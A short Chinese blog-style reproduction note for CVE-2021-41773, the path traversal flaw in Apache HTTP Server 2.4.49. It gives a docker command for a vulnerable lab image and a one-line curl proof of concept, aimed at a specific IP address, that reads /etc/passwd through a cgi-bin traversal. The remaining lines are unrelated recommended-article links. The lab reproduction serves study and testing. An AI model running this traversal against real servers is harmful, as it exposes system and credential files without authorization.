影响版本
Apache HTTP Server 2.4.49
某些Apache HTTPd 2.4.50也存在此漏洞
环境搭建
docker pull blueteamsteve/cve-2021-41773:no-cgid
漏洞复现
1.使⽤poc
curl http://1.15.136.212:8080/cgi-bin/../../../../etc/passwd
相关推荐
代立冬2 天前
927 个 PR：Apache SeaTunnel 3.0.0 正式发布！AI 时代，数据集成正在迎来新的可能zhongben_keji3 天前
家政小程序开发全解：经营模式、品类矩阵、派单约束与信用核验weixin_177297220694 天前
二手旧物回收小程序先要解决的不是下单，是“上门之后价格变了怎么办“努力变的更好4 天前
H5与小程序之间的回调十碗饭吃不饱6 天前
Apache POI 踩坑：setFontFamily 二次设置字体不生效、样式残留问题深度解析心随_风动7 天前
Ubuntu系统安装Apache服务教程ly76898 天前
Kafka 消费者重试与死信：Spring for Apache Kafka 的边界设计HoneyMoose9 天前
Ubuntu Apache 配置多站点提示 SSL 错误骑着蜗牛撵大象3279 天前
一套引擎撑起树表双模型：Apache IoTDB 2.0 与 TsFile 的选型答卷凤山老林9 天前
Spring Boot 集成 Apache CXF 发布与消费 SOAP WebService：WSDL、WS-Security